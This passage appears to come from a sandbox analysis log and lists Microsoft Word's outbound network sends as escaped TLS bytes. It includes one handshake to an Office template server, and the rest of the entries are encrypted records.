  563. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17nj9\\xd7\\xb4\\x92\\xc5\\x8b\\x86\\xe2l\\xeb\\xa8\\xb8\\x05\ro\\x8cq/\\x00\\x0c\\xf5\\xf9\\x8de\\x92\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  564.  
  565.  
  566. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xdb(d|\\xa3\\xb0\\x86r\\xbe/|\\xca\\xe8\\x12\\xe2a\\x97\\xf36\\x864\\xf3\\x13\\x12\\xd0\\xd7\\x05\\xdfaf\\xf7-t@c1\\x05\\x80\\xbc\\xd7m\\x17\\x98\\xaa\\xf9\\x97\\xf7\\xb2\\xa2\tz\\xcb\\x8a\\xf5\\xc3\\x1f^\\xf9*ki\\xbf\\xc1u\\x98=\\xe6\\xdbr=\\xf8\\xf0:n\\xeb\\xdd\\x10\\xab\\xa5\\x1a\\xfa\\x906\"\\x80\\x1a\\xffe\\xbdko\\xe4!\\xd0om:7\\xfe\\xc1\\xf8z\\xcd\\xe2\\xbe\\xf2\\xce\\x18\\xd6\\x1b\\x8br\\xe7\\x93\\xe6\\x9ch\\x19\\x1b\\xbdc\\x05\\x1ed0a\\x98\\xc3\\xe5\\xd0n\\xa5\\x0bu\\xfc\\xf2\\xc5l\\xe6h3\\x82\\x1c\\xc4\\x99;8k/\\x95\\xcf\\x03\\x92\\x85\\xc0\\x18=*\\xc44k\\xcda\r\\xe7sw\\x17c\\x91\\xcde\\xb6\\xd0\\xf9\\x1f \\xd5\\xacf\\x15\\x87\\x99\\xf3\\x8dt\\x00\\xe0\\xcf\\xe8v\n3\\x87a\\x90%:\\xa0b\\xc7d#\\x0bj\\\\x08\\x83\\x96\\xdb:\\x07\t\\xda\\xfd\\xb8\\x93\\xe8\\x1c\\xa9\\x9fc=\\xc4r\\xf7w@\\xd0\\x12\\x96\\xe2\\x06\\x9d\\xcec\\x91\\xcf\\x98qf\\xc0\\x8d\\xdb"
  567.  
  568.  
  569. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010djn\\x8fek6\\xa0go\\x10\\\\x08\\xfbc\\xdf\\x1f\\xbf\\x1f\\xf8\\x16^\\xbcas\\x08b\\xac\\xb6m5\\xe2\\x83h\\xf1\\xd5j\\x1e$gtx\\x17uel%quk>\t\\xc5p\\xa6m\\xc6\\xdc'\\xf5^r\\x02s\\x0c>\\xc7\\x0e\\xe8\\x97\\xb7\\xe3\\xd7\\xbb\\x17\\xeb\\x14\\x96\\xea\\xbf\no\\xc7om\\xe2\\x05\\xf1\\x19\\x00\\x97\\xd0\\x04s\\xf3\\xb2\\xdaw\\x86e\\xb6\\xa8\\x80\\xcf\\x9c>\\x0e\\xbeu\\xc9\\x00/_\\x06u\\xa3c\rf\\x8c\\x19x%\\xbe\\xb2+\\xaf\nag\\xcb\\xaa\\xb7=\\xb8\\xdaq\\xb7\\xfct=\\xba\\xad\\xd0\\x03\\xeb\\xfdml\\x83dbi\\xd9\\xf0\\x01&\\xbd\\xe0\\x82\\x1d\\xdb\\xbe\\x80\\xdf\\'\\xc9mdolvp2(.\\xf4d\\xf7\\x12*\\x1d.u\\xc0\\xbd\\x1a\\xc3\\xad\\x08\\x1a\\x1f\\xb9\\x86y\\xd6&h,\\xd4&0\\x0c\\xc7\\xd4\\xc1\\x96k\\xe0\\xcd\\xe8\\x90\\x80\\x13\\x87bh=kw\\xc2\\xfb\\x0b\\x08\\xdd\\xc3t\\x91\\xc5\\xce\\x02kw\\xb5\\xafo\\xd1\\x01\\xc3 \\xa5\n"
  570.  
  571.  
  572. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xcc\\x8eg\\xcb?t\\x0f5\\x7f\\x8b\\xcb(\\x8e\\xdd\\x1e|>\\x8ac\\x0ej\\xd3\\xef%\\xcc\\xbd\\x10\\xa3jc\\x1dpao\\xdfqd\\x1f\\x7f=\\xe6\\xd5\\xe7+\\x1b\\x8c\\x06rn\\xab\t\\xc3\\x82odl\\xc9\\xa2\\xf6\\xf3tm%\\x0c\\xf2\\xd1\\xaf\\x8da\\xab\\xda\\x9c\t\\xec\\xa3\\xbc;\\xe6\\xeci\\xca\\xd6o\\xe8\t\\xc9ca\\xc3yr\\x8d\\x8b?\\xfb\\x96\\xf3redn\\xa8e\\x18\\xb5\\xe7l\\x13c\\x16\\x08\\x918\\xa2x\\x1e\\xc47\\xff\\xdev\\xb5\\xb3\\x00t\\x8e\\x1c(\\xf0\\xdf9>l\\xc4\\x19\\x91j\\xc4\\xce'\\xef6=\\xe4q\\x96\\xa2\\xa7,,e\\xa4z\\xa4\\x9d4`\\xc9l\\x95\\x84\\x93/\\x0f\\xaa$vy\\xf4\\x05\\xb0\\xef\\x07\\x90\\x1d\\x00\\x0e\\xe2\\xfe\\x9d\\x9b\\x8f>em\\x11\\x87k\\x83y\\xed\\xff\\xe8\\x1f\\xac\\xf4<l\\xab\\x15y\\xf1x\\x99\\xd0\\xa6\\xfd\\xd5t\\xf1'\\x8e\\x19\\x94\rhq \\x92\\xdf,\\x0c\\xe6\\x1e\\x86\\xde\\xc69\"\\x07\\xf9\\xc65\\xe5\\x7fn\\xff\\x1a\\xe2\\xe3\\xec0\\xc7\\xcd\\x83\\x90\\x16\\x8e"
  573.  
  574.  
  575. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xaas \\xb7\\xca\\x16\\xdb\\xa3m0utp?/\\xde\\x02p\\xa9\\xc2s\\x11\\xa0\\x8f\\x9e'\\x01\\xed\\xb7\\xb5g\\xd2\t\\xa3t\\xfc\\xd2$\\x1df\\xe0\\x86\\xee0\\xc5\\xc5\\x99\\x839=s\\xeff\\x89\\xf0\\x1f\\x8b\\xb1\\xaf\\xe3\\xf0r\\x13\\xff\\xbb\\xad\\xadh\\x94\\x98l\\x83\\xe8\\x1eo\\xb3\\x7f9x\\xbe\\x05\\xd7\\xd2\\xb8\\xfax\\x13\\xd7\\xca_\\x1a\\xd8t\\xa5\\xd2\n1\\xda\\xd7\\xfb\\xfcq\\xbd\\xf1\\xe8\\xa4mi\\xc6j\\x1f\\x1a\\xc6k\\x95ia\\xc14\\x1f\\x9ej\\x82\\x9d\\x06\\xb3~\\x19\\xd3z\\xben\\x0b\\x95\\xa4\\x00\\x14*`q\\xf0\\xdb\\xf8\\a5\\x9b\\x03|\\xe0\\xad\\x12\\xcdw5\\xbdcej\\xa3+\\xf2k\\x8c\\xd9\\xb9\\x19y&\\x89\\x8d\"\\x1f\\x8d\\xc9z\\x12\\x1d\\xbc\\x9c\\x02\\xf2\\xf7\\xadu&'\\xc3p\\xd2j\\xfau\\x8fe\\xb2\\xa6\\xb3)x\\x8d\\\\xd1yb\\x04\\xb5+\\x05\"t\\x95\\x05t\\xb2\\xf84\\x1b%\\xe1a\\xc6!\\xd7l\\x1e\\xbb\\xb5\\xd7\\xcd\\xdfb\\xa2\\xc57\\xd9\\xd3\\x9a\\x031l\\x0b\\x81\\xf4\\xd1\\x88"
  576.  
  577.  
  578. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010f\\x1b\\x00\\xf2\\xfe\\xe7\\xe5\\x08-\\xe5\\xfa\\x8f\\xa9\n\\x85\\xf7\\xdc\\x1d\r\\x92\\xaa7\\xd4\\x8eu\\x17\\x19o*\\xdf\\xf1\\x92\\x03\\xa8\\xfb\\xfc\\xba\\xecfb\\xbe\\xc1\\x9a\\xd9\\xb7!q\\xf3|:c\\xb6\\xc7\\xef&\\xe6e\\xad\\x10\\x8a\"\\x00 9t\\x1dn\\xc2\\x00\\xd2u\\xd4q\\x14m\\xc7e\\xf5p/d-\\xd9x\\xd0\\xa1\\xc2\\x00\\xe2\\xcb\\x7f\\xcax\\x91\\xc5l.\\xcc\\xeb\\x7f\\xff\\x97\\xe4$\\x93l\\xe0j\\xdb5\\x81\\xab@\\xe7\\x8c(\\x98\\x18@o\\xc1\\xd3\\xce9\\xfet\\x0fw\\xce\\x881;0\\xf1\\x8do\\xd3f3\\xec\\x02\\xea*\\xf5\\xc7\\xdb\\xfb\\xdd\\x90_\\x1aj\n\\xc7\\xcev\\x7f\\xcd\\x8b\\xf8\\xb3\\x8e\n#\\xb2\\xf3p\\x1c\\xbe\\xda\\xabj\\xea3\\xad\\xe3\\xc2kc\\xc4a\\xc2\\xa9\\x8fz\\xa6\\xe2\\xe5u\\xea\\xf7\\x0b\\xe3ne\\\\xd6;\\xf2>\\\\x86\\x02ae\\xda:;\\xf7^*\\x95\\x9b\\x0f\\xa7\\xa6l \\xd4\\x10o\\xa8\\xa0\\x145\\xa07\\xa3\\xf6&2\\xf1\\x0e\\x1ax\\\\xca\\xb5|\\xe1\\xf6\\x80.o"
  579.  
  580.  
  581. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf1\\xb4bn\\x9d!\\x17mn\\xe30\\x11\ng\\xccq\\xdc\\x94\\xb8\\x03\\xba\\x95e\\x07w|\\x05\\x13\\xd3\\x02\\x8dk\\xc4\\xb7u\\x08g-j\\xf3,r\\xc4\\xc1w)\\xa9\\xc2\\xe7\\x90\\x80g\\xb2d\\xef\\x98\\x1f\\xc4d5<\\xaf\\xf6txys\\xb6\\xe5\\x16\\xae\\xf2\\xdf\\x0c7*\\x8dt\\xb9i\\x83\\x94\\x95&\\xb7\\xaa\\xce~\\xe3\\xc7(\\xb4\\xff\\xe0\\xd2:c\\x9d\\xf1\\xba\\xa6\\xa0\\xdb\\xadzqow\\x14\\xe9\\x14\\xce\\xa9ks\\x93n5e@\\xb8h*?\\xa0\\xed\\xda\\xd2b:\\x91\\x18\\xe1\\xe2j\\x98\\x1ao\\xbez\\xd3u\\xaek6\\x13o\\xc5\\x16v\\x82\\xd6s\\x9a0uv\\xaex`w5\\x9e\"@o\\xb8\\x9f\\xe9,\\xafw\\x04\\x9et\\xfd.\\xeex;;\\xd6&1\\xd7f4 `\\xe3\\x8d\\x1a#\\xb4h\\xb0\\xfc;w\\xaf\\xbbn/\\x81\\x1b!\\x17\\xe2\\x04\\x12\\x9c\\xf7\\xf6\\x95\\x83\\x18w\\xa5eb\\xd6\\xc9\\x0f\r\\x90\\xc5te\\x14\\xcf\\x05%:\\x01s\\xd1\\x99\\x02_\\xd9\\xa6%\\x92\\x97\\x84\\x10m\\x86"
  582.  
  583.  
  584. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010#+\\x98\\x14\\xfb\\x84npo\\xafu\\xab\\xa8\\x02\\x11\\x85\\x9c\\xae\\xe9c\\xa8d\r\\xec\\xea\\x80\\xff\\xfc\\x1ec8o\\x12\\xdb\\xe6\\xcat+^'\\xa22\\xf8\\xb71\\xbb\\x04\\x94=\\x88\\x1a\\xeb)\\xd5\\xe3\\xfa\\xe5r\\xae/!b\\xf1n&es\\xe3\\x04\\x05\\xb2\\xbe\\xab\\xd7h\\xd6\\x90\\xc3\\x1cvi\\xa7e\\x1b\\xedgr\\x10g\\x04w\\x8d\\xff\\xf1\\x02\\xb0*\\xbadb\\x97\\x87n\\x8a\\xee\\x9b(\\xd5u\\x88\\xe9\\x89\\xc9\\xce~x\\xf9>eu\\x01\\xe42\\x8a\\x99\\xf5\\xc6\\x8e\\x11\\xd3\\xea\\x9a=bl\\xd9\\xbac\\x9fl\\xf1\\x11\\x14\\x98au\\x96\\x1c\\xdb\\xce\\x84\\xcc\\x8cw\\xdb3~\\xc1\\xac\\x86*\\x9aa\\xeb\\x8d\\xf2\\x05u\\x03\\xf1n\\x00\\xcd\\x0f\\xa8\\xa9\\xdbi$d\\x06\\xb3\\x00\\xc7+\\xdcqd)\\xc5\\xfd\\xfci\\xcc\\xbc\\xcb\\xcbw9\t\\xfd\\x9e3@y\\xe6\\xa0+\\xbc\\x95we\\xcc\\xdd7\\x05-\\xa1\\xf7>\\xb7\\xa9ex\\xd3\\xf5i\\xfd^h\\xd4\\\\x89ssf\\xbf\\xf9f\\xd3\\xdf\\xd5\\xce\\x04>"
  585.  
  586.  
  587. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04o\\x02\\x89>\\x10\\xc4\\xd3\\xd7\\xe1+\\xce\\x013\\xe0\\x18\\x92=\\x0b\\xa6\\x02\\x97\\xd1\\x9c$\\x03%`4\\xa4\\x07\\xa7a`k\\x1e2\\xa4\n7\\xb2e\\xec\\x0c\t\\xd6!d\\xe85\\xe1yg\\xa7\\xccav\\xee\\x8b\\xec\\xab\\x7f\\xd9n\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000?\\xc0\\x9c\\xb6x8\\xf8$ix\\x85\\x86\\xc1\\xd0\\x19\t|o2\\xdfu\\x0f\\xf0x\\xd4\\x01\\xcd\\xb5jg\\xa2\\xb0.\\xe4uhkk\\x8f\\xd4\t\\xab\\x8e-=\\xf0\\xaa\\x83"
  588.  
  589.  
  590. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x95\\x9a*y\\xc37\\xda\\xedw\\xb3\\x0c\\xd2\\xc0\\x13\\x13#n\\x85.\\x05\\x87\\x9a\\xd3k^\\x84\\xa4\\xbc\\xdf\\xc3y\\xacs\\x03\\xe4\\x82\\x14\\xe03\\x0e1\\x03n\\x0c,x\\x1c\\xb7a\\xc1\\xce\\x1f\\xf6\\xbd\\xdd\\xc9rj\\xf2\\x1fq\\xb4dn\\xfd%3\\xa7\\\\x9f3\\xfc\\x12,\\xdd\\xa1\\xb1 9\\xd1\\x1eqe\\x934\\xb4\\xb2*|dsiw\\xfd\\xc4oc\\xef\\xcc\\xad\\xedc\\xd8\\x17\\x82s\\xa6\\xb0\\x10\\xd3\\xac\\xac\\xd6<\\xa3\\xb8\\xc3\\x8e\\x13\\x9e\\xf9`\\xe5^;\\xdd\t\\xcd,\\xd9_9\\x86\\x83d\\x0cgb\\xc3j\\xec\\xb7\\xe4\\xdct>\\x99\\x813\\xd2\\xf0\\xa2\\x03w\\xb4\\x91\\xe6\\x88m\\xdc\\xc3(\\x03\\xf2$q\\xa1^@\\xdf\\xe9\\x02\\xf6 o\\xf0c^?\\x89\\xa3\\xe9\\x83\t\\xbe\\xbb\\x80\\xab \\xef\\x9f\\xb5,\\xeb\\x8b\\xc7\\xc9v\\x121>o\\xc0\\xb7\\xbf`\\xd23\\x8df\t\\x05^\\x80\\xdas\\xff\\x06\\xa6il\\x7f\\xbd\\xc8\\x947r\\xb3\\xe1\\xcf\\xca\\xde\\x16\\xbd\\x93z\\xf0a\\xb9\\x01\\xec\\x8a\\xa9\\xf1.\\x94\trk"
  591.  
  592.  
  593. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xab%\\xa8qo\\x10\\xfb=\\xe3\\xd6i\\xcf\\xe2\\xdf\\xf1v\\xce\\xa6\\x9e6?\\x02\\xa7\r\\x82_\\xfegw\\x0fo\n\\xc6b*\\xf7\\xe3\\xb4\\x1f\\xacg\\x12\\xc6m\\xb7\\xe8\\x03\\xbf2\\xa3\\xc6\\xb0\"p,\\x9d\\xc0\\xc5\\x9f\\xf5tf\\x00\\xd8u\\x0f\\x12t\\xc0\\xac\\x0f\\xb7\\xb4\\x89j\\xbd|5p\\xf6q\\x02\\xc2$k=\\xc0\\xc9\\xa5-!\\xbc\\x10 \\x97m9\\xb7@\\xca\\x84z\\xcd\\xee\\x1a\\x80\\x99urm\\xe3l7m\\xd9&\\x84\t>v\\xfa\\xab\\xd4\\xce\\xec\\x01\\xb9\\xdf\\xb0\\xf3w\\xd69\\x8f\\xd7\\xdb\\xaa_w\\xa1\\xcc\\x9b\\xb1@x\\x9c\\x08^\\xe3\\@\\xd7\\x1b\\xecg\\x94\\x08\\x11\\xe2\\xaa\\xfd\\xa7\\x17\\xc8\\x19\\x04\"\\xd7\\x16\\xba\\x9fwl\\x8a/\\x06\\xf7\\x17=\\xf1u\\x7f\\xc8\\xc91f\\xaf\\x06\t\\x95y\\x9d\\xb8\\xf0\\xae\\x90_g\\xc4h\\xfb\\xf1\\xfc\\xea\\xaa\\xedl\\xa7\\x98yk4\\xb2\\xa3\\x90\\x89\\x9acp\\xdc\\xa3\\xa8\\xf2<\\xe8\\xb5\\xd2nk:\\xf54\\xf2x\\x86\\xeb\\xf7\\x9da\\xa6\\x1b\\xf4\\x02"
  594.  
  595.  
  596. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd4\\xd5o%\\xba\\x1d\\xcf\\x0c\\xd2v\\x1f\\x96h\\x86\\x1d\\xdc\\xdax\\xb6\\xe4x\\x0e\\xedb\\x8b\\x81\\xe7>\\xa1\\xe8j\\xffp\\x0e\\xc6v\\x08\\x9bbr\\xc9w\\xeduvd\\x83\\xa1l\\xd6n\\xd8\\xd7wn\\x10\\x85\\xf8\\x03\\xb3\\xf05\\x80\\xea=\\\\x86\\xf3khc*\\xa62\\x97g\\xbd\\xc3v\n\\xf3\\x95j\\x85\\xe26k\\xbb\\x88\\xadb\\x18zsb\\xea\\xf7z\\x16\\xe1l!eu\\xe7\\xf5b\\xbf\\xc2\\x0ed\\xfcr\\xbf2\\xe1\\xadlwx\\xd4\\x89\\xbc\\xb2\\xfa-\\x17\\xe7\\xb4\\x92v\\x93.\\x11-y\\x8a\\xcf\\xc1\\xef\\x8fg\\x15\\x86`\\xb4\\xadi\\xa7\\xdfb\\xa5\\x8f~\\x11l\\xd8\\xbd\\x1f\n\\xcc\\xc0\\xc5d\\xadq\\x96\\x07\\x92\\x17\\x83\\xc4\\xb7\\xd0#\\xcf,\\xc1,\nn|be\\x05(t\\xf7?a%\\x8f\\x94\\xc1\n\\xee\\x15\\x965ds|\\x02\\x13zq\\x08\\x0b\\xea 4\\xed8\\xe5\\xb6f\\xedr3\\xd8\\x82s\\xdc\\x02\\xa47 \\xe0\\xd46+\\x8ef\\xba\\x89\\xfbm\\x17\\x08\\xba9\\xd1\\x86\\x16o\\x00`8!\\j"
  597.  
  598.  
  599. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010r0;a\\x17\\xfbm\\x00\\x80\\x9a?\t\\x932\t\\x90$\\x8d\\x9d\\xa6\\x0b\\xeaa=\\xd8m\\xac\\x89!\\x8e\\x1du\\xbd\\x0e\\xb7\\xcf\\xaa\\xbf\\xe1\\x1a\\xf4\\xd9zk\\xefok;\\xb9\\x8d\\x8a\\xf2\\xae|\\x7f\\xddh\\xe6\\xfb7r\\x9e\\xc0|\\x07\\xb9\\xa5\\xd7\\xdfh\\xc4\\x10\\xf8\\x1d~\\x1c\\xafy\\xbd\\xe1i\\xc8\\x8caa\\x9e\\xbb`\\xfd_+a\rcj\\xb5\\xd4\\xc6\\xa4\\xba\\x02l\\xfd\\xa4-\\x17\\x1a\\xee>\\xb9\\xcan\\xe1\\xe1\\xd8\\xb7\\x8c-\\x0c\\xc7m_\\xe7\\x10\\xfe;\\xfe\\xbb\\xff\\x15\\xb6\\x9c\\xa5%\\xc0\\x7fu\\x89\\x19\\xcfp\\xb9\\x0e\\x95k\\xf4\\xeb\\xa1\\xa8$\\xae\\x181@\\xa0\\xa0\\x85e:d+\\xdf\\xfb\\xcd\\xaf\\xac\\x01\\x02\\xc9\\xe0#,\\x98\\xad\\x81\\xd7ce\\xbe\\x89\\x944/=\\x07\\xaes\\xearc\\x84 \\xab\\xec\\xc3\\x9c\\xc90\\xc6\\xd8\\xbf\\x1a\\x1ec\\x1a\\xdd\\xc2\\xe9=y5\\xc08\\xfb\\xed\\xf8\\x0c?\\xd5\\xd3l\\x86\\x80\\xf7\\x90\\x19`\\xfe\\xc7a\\xa8'\\x95,rq\\xb1\\xb4\\xde\\xfa\\x07da\\xa6\\x8b\\x95\\xaa6\\xea"
  600.  
  601.  
  602. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010c\\xe9b\\xfe\\xffy\\xfd:\\xe7kzl\\x8e\\x0f\\x87\\xd1/r;\\xfe\\xb9\\xd7d\\xa72%\\xbd\\x1b\\xdd\\xf6f\\x1d\\xdf'd\\x87\\xbe\\x03\\xa0:\\x96:y\\xdc\\xc1\\x08\\x97w\\xd7\\x12\\xaax7l\\xf1\\xd3\\xb5\\xa1\\x8f\\x83\\xfd\\x1e\\x96\\xad\\xdew\\x10\\xa4\\xd7&\\xba#\\xca\\xb07j9^\\xdc\\x13\\xcfz\\xa2\\xc51\\xb3\\xa3\\xee\\xe5\\xeb(!=\\xb5\\x01j@(\\xd6\\x1c\\xdc\\x0e\\xdc\\xf7\\xd8\\xfb\\x01_\\x96lv\\xd5w\\xbb\\xea\\x99\\x1a\\x04\\xec\\x10\\x98\\xd58\\xb2\\x00\\x10n\\x1e\\xd0\\x18\\x99\\x87\\xcb^\\x95\\xb4\\xe5\\x1f^;\\x98w\\xca\\xa7\\xa9\r\\xa0\\x91ag\\x81\\xbd\\xe7g/\\x9enc\\x06\tdp\\x9b\\xf1\\xab\\xdd\\x7f\\xaby\\x86wg_4\\x1c\\x9bk?q\\x14\\x9ct\\x16\\xe6\\x9a\\x90y\\xff\\xf1w\\xbb,\\x01\\xa44t\\xd6\\x03\\xfb\\x8f\\xc6\\xde\\xd9\\x9d\\x0e\\xb3#3w\\x98sk\\x18dr$\\x8e\\x17\\xa1\\x18\\x1e\\xf1\\xa6<\\xc0#\\x9cwik\\xfa\\xc7n\\x1b\\xadu\"\\xf7f\\w\\x84\\xd3zk\\xf2"
  603.  
  604.  
  605. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xdf\\x86\\xbc\\x82\\x91n\\xc5s\\xa9\\xaa\\xd9\\xf1a\\x89\\xf1 6\\x89\\x17\\x06\\x80$\\xc5g\\xc9r=&b\\x18>\\xe5\\xdd\\x1f\\x9d2\\x1c\\x0bn&\\xe8\\xea\\x85j\\xc5\\xb2\\x8a\\x17h\\xff\"\\xd0\\x9a/6\\xf0\\xd2\\xc1\\xb1<(\\xa9\\xe2\\xf6\\xc3\\xc4\\x00)\\xab\\xfd\\xad\\xc3\\x04\\xd6&\\xf7\\xc9\\xd9\\xf5\\xf1'\\x82\\x1c\\xe0\\x03~\r\tk\\xa9kg\\x98slyt\\x9dv#\\x99|\\xf62\\xae\\xfd\\x02\r\n\\xf1w\"z\\x0c\\xffs\\xc1\\xd2\\xacp1l._\\x87\\xf0\\x12\\x19?\\xb0*\\xd2\\xa2\\xae\\xed\\xbb\\x00p\\xee\\x94kp6<\\xe5$\\xed\\xad\\xa9tm\\x19\\x1b\\xd7\\xe6\\xcc\\xe1\\xb6s\\xae\\xb6n\\x9a\\xd7fz\\xdb\\x8c\"i@\\xee\\x84\\xffc\\xdc\\xedq\\x152d\\xc8d\\xfb!o\\x9dw\\x17\\xc0\\x1d\\x91(p\\xef\\xa9\\xcb\\x86\\x94\\xe1p~\n\\xcas\\xce8\\x8ahk\\xff\\xcd\\x01\nv\\xb0%4y\\x04\\x8bv\\x83d\\x93\\x19\\xd8h~\\x8f\\x851\\xaf\\xaan\\xe5\\xd1\\xf7/\\x0bd\\xf1\\xde$\\x16\\x02\\xe5\\xf5"
  606.  
  607.  
  608. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010t\\x82\\x192\\xe9?\\x9a\\xa3g\\xa8\\xbd>_\\xd43\\xb6\\x83\\xb36\\xed,!\\xd3wq\\x9d\\xb9\\xce\\x8el\\x88\\xf4;\\xfa\\xc2\\x03\\xe1\\xf3\\xd1\\x91i\\xdd\\x87\\x96\\xeb\\gj\\xcf\\xc4\\xc3\\xeae\\xbc\\x0c\\xe8\\x9b\\xb7\\xb4\\x93\\x00lw\\xe3\\x8etc\\x02\\x1f\\x1bh\\xd2h=d\\x97\\xeb\\xb0\\x12\\x07\\x92\\x03\\xc8\\xb8\\xc4\"-\\xa50\\xb8x\\x84d\\xeb-\\\\x9d\\xa7av>\\xef+\\xae\\x8c\\x804\\xe1h\\xe5\\x06\\xd2\\x96\\xfc\\xb3\\xc6;j\\x04\\xe3r\\xef\\xcb\\xc5\\xaf\\xf91\\xe698\\xdf(\\xad\\xb1\\x03\\xabb\\x1e\\xd0zkar\\x16\\xa6~t\\x9d\\xady\\xa9\r\\xeaj\\xb5\\xab1a\\xa5\\xb6\\x88\\xa6p\\xe8m\\x89r\\x0f:*s\\xb6\\x1f\\x18\\xa29mx%\\xba\nr\\xe5n\\x9b\\xe2k\\x7fa\\x9e\\xc6\\xcc\\xd4o\\xe0\\x02\\xca\\xc2|\\x02\\xd8|\\x8do\na\\xb8\\x04\\x1bolbk\\xde!\\xc3 d\\x93\\xcc\\x8af<\\xb9j\\x17lu\\xad\\x0c\\xden\\xe9\\x08=\\xd9\\xed\\x95k\\x99\\x9c\\xf2_~\\xf5."
  609.  
  610.  
  611. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x8bo\\xaf\\x10\\xb2\\xd6\\x0e\\x82 '\\xe0\\x88\\xfa5a\\xa0d\\\\xf1\\x00\\xef\\xaak\\xb4\\xc7\\x8bq^\\xb5qz\\xc3\\x92\\xae\\x16|^f\\xfdq\\x1b\\xbbg\\xa1=\\x82)+\\x9e\\xc1\\xf4\\x0cco\\xb9\\xa6\\xaf\\xfera\\xc9m\\xfa\\x1f/\\x9e\\xdd\\xdc\\xc6\\x13s\"\\xd1af<\\x00\\xf9\\xb7\\xd7\\xc2\\xb8\\x7f\\x10\\xbcl\\xf8_2o\\x99l'\\x96\\x11\\xb5\\xed\\xf4h(s\\x00\"mo\\xa8\\x8b\\xc1\\x12\\x8a'cxuj\\xa7\\x12l\\xfd^\\x80e\\xca3ut\\xb2`if\\xc2\\xfd-b\\x942\\x11\\x0c\\x92\\x82\\x98\\xc9\\xf1i:y\\x00h\\xaa\\xe5\\xa9\\xfd\t\\x19i\\x94dyi\\xa0\\xda_\n5a\\xd5\\x816\\x05\\x8c\\xa1\\x11\\x0c\\x1d5\\xae\\xe7\\xf4\\x92e\\xc8\t\\x0c\t\\x93\\xcd\\xd7\\x8f\\xa6x\\x80\\xe8\\xcf\\x930\\xbb'\\xae\\xaf\\xb1i\\xf7\\xfe\\xcc\\xe9r#\\x8b\\xdd\\xf0r\\x87\ne\\xf66(@)\\x08\\xfe\\xa1t#\\xbd\\xb0i\\xfa\\x1a\\x14`\\x8e\\xec\\x85d*\\x94\\xeb9l\\x98\\xa1p)\\xac\\xe6\\xbb"
  612.  
  613.  
  614. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x833\\xe3m\\x14\\xf2#\\x1c5\\x8b\\xd9d\\x8f\\xcb\\x89\nl\\xb2\\xcfew\\xea\\xbc\\xce\\xe1q\\x9a\\xbblh\\xb6\\xe9\\xfeiufk\\x15cw\\x8d\\xadv\\x82u\\x83\\xb3\\xb0\\xf2\\xf4!$\\x16x)\\xa2ny\\x86wh\\xb38\\x14\\xfc4\\xc1\\x8b \\xa9\\x89\n\\xf8\\xa8\\xaa\\xed\\xc1\\x9b\\xd8\\x93\\xe7\\x02\\xce\\xc1\\x1d\\x92da\\x19a\\x01\\xa7\\xe0\\xd5\\xf9\\xe7\\xc0\\xab\\xaa\\x15\\xfb\\xf0_r\\xc3\r7x\\x07\\x05\\x13i<\\xfa\\x96\\x7f\\x0e\\x01\\xf0\\x81mn\\xfa\\xcbj\\x16\\xae&e*j\\xbc\\x07\\x856\\x901\\x96b\\x1f\\xc3\\x9a\\x81\\xd7\\x9e\\xde\\xcc0\\xe3&\\x80k\\x8d\\x985\\xc7\\xebm\t\\x82\\xa6\\xacy8\\xe0\\x15\\xf6tze\\xc8\\x9ef\\x9en4!,\\xdd\\x9b\\x8fk\\x04\\x93\\x13\\x8a\\xf4\\xa0\\x17\\x91\\x96\\x08\\x99:\\x89\\x13.ar\\xbc\\x06\\x87c\\xe3\\x81\\x9ep\\xf2#\\x85\\x00s9\\xe0\\xa2\\x94\\x13\\xa8\\xc9\\x8b\\xdd%\\x90~\\xa3\\xb6*l\\xc5\r\\xc7\\x9f\\x17\\x8ak\\xb0\\xd5\\xb2\\xaf\\xa9\\xa5\\x91\\xa6*\\x80h\\xb9i\\xbf\\x91"
  615.  
  616.  
  617. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xfa\\x97<\\xbc\\xcbb\\xbei\\xde\\xf6lqc\t\\xbay9q\\x08\\xaan*\\xcf\\xedq\\xec\\xa4/\\xed\\xff\\xf8\\x0f-\\x96z\\x8b\\xa9\\xfb\\x97\"\\xd5\\x0e\\x19\\x8c\\xdc7\\x86\\x93\\xab\\x10\\xb9\\x8f\\xb0<`\\x14\\xf2t\\xd4\\x89\\xa6\\x1bf\\xae\\xc5jo\\x11\\xfavrk0e\\xbe\\x00qrkr\\xee\\x87j\\x15 